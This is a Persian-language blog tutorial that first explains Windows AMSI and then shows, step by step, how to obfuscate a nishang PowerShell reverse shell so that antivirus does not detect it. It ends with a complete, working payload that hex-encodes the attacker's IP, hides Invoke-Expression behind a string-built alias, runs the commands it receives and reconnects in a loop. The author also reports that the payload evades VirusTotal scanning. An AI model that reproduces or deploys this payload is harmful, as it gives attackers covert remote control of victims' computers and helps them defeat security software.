AMSI چیست؟
زبان های مبتنی بر اسکریپت مانند PowerShell، VBScript یا JScript در مایکروسافت ویندوز معمولا از روش های مورد استفاده هکرها هستند. این زبان ها با سیستم عامل یکپارچه و طیف وسیعی از توابع آن نیز توسط مدیران شبکه استفاده می شوند.در نتیجه، PowerShell تبدیل به ابزاری قوی و محبوب برای هکر ها شده است، زیرا سوء استفاده از آن بسیار موثر و به سختی قابل تشخیص می باشد. برخی از آنتی ویروس ها در حال حاضر قادر به شناسایی بدافزار شناخته شده PowerShell هستند. اما تنها اسکریپت هایی که فایل آن روی هارد دیسک باشد، شناسایی می شوند. اسکریپت هایی که به طور مستقیم از حافظه اجرا می شوند فراتر از کنترل آنتی ویروس هستند. معرفی مایکروسافت (Antimalware Scan Interface (AMSI برای تغییر این رویه طراحی شده است.
AMSI یا Windows Antimalware Scan Interface یک استاندارد رابط کاربری چند منظوره است که قابلیت ادغام شدن با آنتی ویروس های دیگر را دارد. AMSI وظیفه حفاظت از یوزر نهایی،دیتا و برنامه های کاربردی را در مقابل بدافزارها تامین می نماید.
همچنین اسکریپت هایی را که از تاکتیک هایی برای مخفی کردن کد مخرب با رمزنگاری چند لایه یا رمزنگاری پویا استفاده می کنند را به راحتی اسکن می کند.در مقاله های ” ویندوز 10 به ارائه توسعه دهندگان نرم افزار جدید آنتی بدافزار”، مهندس نرم افزار مایکروسافت لی هولمز توضیح می دهد که چگونه AMSI کد را زمانی که به فرم ساده در می آید (یعنی رمزنگاری شده نیست) اسکن می کند، برای مثال یک اسکریپت مخرب از روش Base64 Encoding (به عنوان یکی از تاکتیک پنهانی) استفاده می کند.در این مرحله AMSI رشته base64 را شناسایی کرده و بعد از رمز گشایی آن کد/ اسکریپت مخرب (Payload) را اسکن کرده و در نهایت Alert می دهد.
در نهایت AMSI بر روی سیستم عامل های زیر در دسترس می باشد:
- Microsoft Windows 10 Pro x64 / x86
- Microsoft Windows 10 Enterprise x64 / x86
- Microsoft Windows Server 2016
در این پست صحبت بر روی دور زدن (Bypass) آنتی ویروس ها بدون استفاده از PowerShell Obfuscation (مبهم سازی اسکریپ پاورشل) است. این چیز جدیدی نیست. در این مقاله شما با روش مخفی کردن Payload ،Reverse Shell از دید آنتی ویروس آشنا می شوید.
برای شبیه سازی حمله از payload زیر استفاده می کنم که قابل شناسایی توسط آنتی ویروس ها می باشد.( بخصوص AMSI )
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1
در لینوکس (سیستم مهاجم) nc روی پورت 8080 به صورت Listen تنظیم شده است.
(همانطور که در عکس بالا مشاهده می کنید Payload در زمان اجرا با پیغام Contain Malicious content….)
حالا، اولین وظیفه ما این است که پیلود ما توسط آنتی ویروس ها نشانه گذاری نشده باشد (اصطلاحا flag نشده باشد).اجازه دهید ابتدا کد مربوطه را تجزیه و تحلیل کنیم تا راحتتر بتوانیم آن را تغییر بدهیم.
- ایجاد سوکت TCP با IP سیستم مهاجم و پورت مورد نظر
- و تعریف Stream برای سوکت بالا به منظور رد و بدل کردن دیتا
- Stream فوق برای تبدیل کارکترها ASCII/UNICODE به بایت هایی است که می توانند در بستر شبکه انتقال پیدا کنند.
- یک حلقه تعریف کنید تا به طور مداوم برای هر ورودی دریافت شده یا خروجی فرستاده شده در بستر شبکه خواندن و نوشتن انجام دهد.تا زمانی که بایت مساوی صفر نباشد خواندن از سوکت را ادامه می دهد.
- دریافت دیتا از سیستم قربانی
- IEX کلمه مستعار Invoke-Expression در پاورشل این قابلیت را به ما می دهد تا کدهای ما را از نوع رشته(string) اجرا کند.
- و اما کد پایین مسیر فعلی را به علاوه جواب برای سیستم مهاجم ارسال می کند.
- دیتا را به بایت تبدیل می کنیم و سپس از طریق Stream دیتا را ارسال می کنیم.
- و در نهایت پاک کردن بافر و بستن پورت TCP
و اما شروع تغییرات…
خوب تا اینجا که آسون بود، بریم و موضوع را جذاب کنیم.همانطور که قبلا گفته شدWindows از AMSI برای شناسایی payload مخرب استفاده می کند و ازآنجایی که پیلود بالا بسیار استفاده شده است یا اصطلاحا flag شده است حتی با Obfuscate کردن Payload، کارایی ندارد ! دلیل: وجود ابزار قوی به نام YARA که با نوشتن چندین Rule این Payload بلاستفاده می شود.اکثر افراد سعی می کنند Payload را به Base64 تبدیل کرده و شانس خود را امتحان کنند اما فایده ندارد !؟ دلیل: AMSI رشته Base64 را تشخیص می دهد و بعد از Decode کردن آن Payload مخرب را تجزیه و تحلیل می کند.
پس چه باید کرد؟
ما باید کد payload را به صورت جداگانه انکد کنیم و نه با هم، یعنی تمام پیلود را بنحوی از اول بازنویسی کرده تا YARA آن را تشخیص ندهد.در نهایت وظایف ما در چهار مرحله زیر تقسیم می شود.
- تکه تکه کردن Payload
- مبهم سازی هر خط کد
- وصل کردن payload به هم
- انکد کردن Payload
ما قبلا Payload را در بالا تکه تکه کردیم و حالا نوبت به مبهم سازی هر خط کد می رسد.توجه داشته باشید برای اینکار بهترین روش استفاده از متغییر های محیطی پاورشل(Built-in environment variables ) و ترکیب آن با توابع داخلی پاورشل (Built-in Function) است.برای درک بهتر این قضیه IP را با روش زیر Obfuscate می کنیم.
همانطور که در بالا مشاهده می کنید ما آدرسIP را به HEX تبدیل کرده تا Windows AMSI قادر به شناسایی آدرس IP در اسکریپت ما نشود.
بعد از آن یک HTTP Request از متد GET تعریف می کنیم.این مرحله را شما با توجه به نیازتان می توانید تغییر دهید.نکته حائز اهمیت این است که حتما از rn استفاده کنید در غیر اینصورت درخواست HTTP به سیستم مهاجم ارسال نمی شود.(در کد زیر از backtick استفاده شده است)
همچنین به جای استفاده از کلمه متسعار و میانبر برای تبدیل به بایت از .Net API مربوطه یعنی[System.Text.ASCIIEncoding] استفاده می کنیم.
پس در نهایت بایت های دریافتی درون متغییر $by و تابع مربوط به تبدیل بایت را درون $e قرار می دهیم.
و حالا به جذاب ترین قسمت این مقاله رسیدیم و آن هم استفاده از Invoke-Expression است البته بدون استفاده از آن !!!؟؟ بسیاری از آنتی ویروس ها روی این دستور cmdlet حساسیت زیادی دارند و جزء کامندهایی ست که flag شده است.توجه داشته باشید Invoke-Expression کامند مخربی نیست اما با توجه به قابلیت های آن، همانطور که قبلا گفته شد مورد استفاده هکر ها است.{ذکر این نکته برای دوستان متخصص امنیت لازم است تا با مشاهده این cmdlet در log های سازمان ،شرکت یا .. مبادا آن (log) رو به عنوان لاگ حمله در نظر بگیرند}
ما از کلمه Kaliboys استفاده کردیم که تا به الان توسط هیچ آنتی ویروسی flag شده نیست. جالب شد نه ؟! با همین کلمه ما دستورات خودمان را روی سیستم قربانی اجرا می کنیم. پس ما متغییری به نام $kb که مقدار آن kaliboys است، را تعریف می کنیم. در ادامه یک متغییر دیگری با نام $h با مقدار IRAN Cyber Security تعریف می کنیم.
در تصویر بالا در هنگام تعریف Alias به جای استفاده از string از متغییر به جای آن استفاده شده ، در ادامه برای مقدار دهی به این alias از تقسیم مقادیر دو متغییر از پیش تعریف شده استفاده می کنیم. به عنوان مثال در متغییر $h[0] یعنی حرف “I” و یا $kb[0-$kb.length] منظور حرف K می باشد و البته با این تفاوت که اشاره گر از آخر به اول است یعنی $kb[0-$kb.length] == $kb[0]و در نهایت می بینید که با کلمه kaliboys دستوراتی که به صورت رشته هستند را اجرا می کنیم.
در این قسمت برای تعریف Socket (با توجه به obfuscate آی پی در مراحل قبل) باید با این مرحله ترکیب کنیم.
حالا، دیتا را که در بالا ایجاد کردیم (User Agent و درخواست GET) به بایت تبدیل کرده و درون متغییر$GET قرار می دهیم . با استفاده از خروجی Stream به سرور انتقال داده و با یک حلقه While منتظر دریافت کامند از سرور هستیم . برای خواناتر شدن Shell سمت سرور به ازای هر کامندی که در کلاینت اجرا می شود ،دستور PWD نیز اجرا می کنیم و به سرور انتقال می دهیم.
همچنین، هنگامی که صفر بایت از سرور دریافت می کنیم، سوکت را می بندیم تا با دستور Start-Sleep به مدت 3 ثانیه تاخیر ایجاد کرده و سپس به سرور ما وصل شود.پس نیاز است تمام این Script درون یک While قرار بگیرند.
کد نهایی ما به این صورت است:
while ($true) { $kb="KaliBoys" $h="IRAN Cyber Security" $A="31 39 32 2E 31 36 38 2E 31 30 30 2E 31 30 30" $B=($A -split ' ' |ForEach-Object {[char][byte]"0x$_"} ) -join '' $GET = "GET /index.html HTTP/1.1`r`nHost:$kb`r`nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Edge/14.14931`r`nAccept: text/html`r`n`r`n" $e = [System.Text.ASCIIEncoding] [byte[]]$by = 0..65535|%{0} set-alias $kb ($h[0]+$h[3]+"v"+$kb[-3]+$kb[0-$kb.Length]+$h[8]+"-"+$h[$h.Length-(11)]+"X"+"P"+$h[15]+$h[12]+$h[$h.Length-8]+$kb[7]+$kb[3]+$kb[5]+$h[3]) $J = New-Object System.Net.Sockets.TCPClient($B,80) $R = $J.GetStream() $d = $e::UTF8.GetBytes($GET) $R.Write($d, 0, $d.Length) $t = (KaliBoys '$PWD.Path') + "$ " while(($l = $R.Read($by, 0, $by.Length)) -ne 0){ $v = (New-Object -TypeName $e).GetString($by,0, $l) $d = $e::UTF8.GetBytes((KaliBoys $v 2>&1 | Out-String )) + $e::UTF8.GetBytes($t) $R.Write($d, 0, $d.Length) } $J.Close() Start-Sleep -Seconds 3 }
امکان دارد پرسشی ذهن شما رو درگیر کرده باشد و آن این است که چرا ما بیشتر زمان خود را روی IEX گذاشته ایم و باقی کدها را obfuscate نکرده ایم ؟ جواب: همانطور که قبلا اشاره شد دستور Invoke-Expression توسط بسیاری از AV ها Flag شده است، پس ما زمان بیشتری رو این قسمت از کد گذاشته ایم.
تصاویر خروجی نهایی:
در نهایت ما به Windows Defender بسنده نکرده و فایل را در Virus Total اسکن کرده و نتیجه را در پایین مشاهده می نمایید.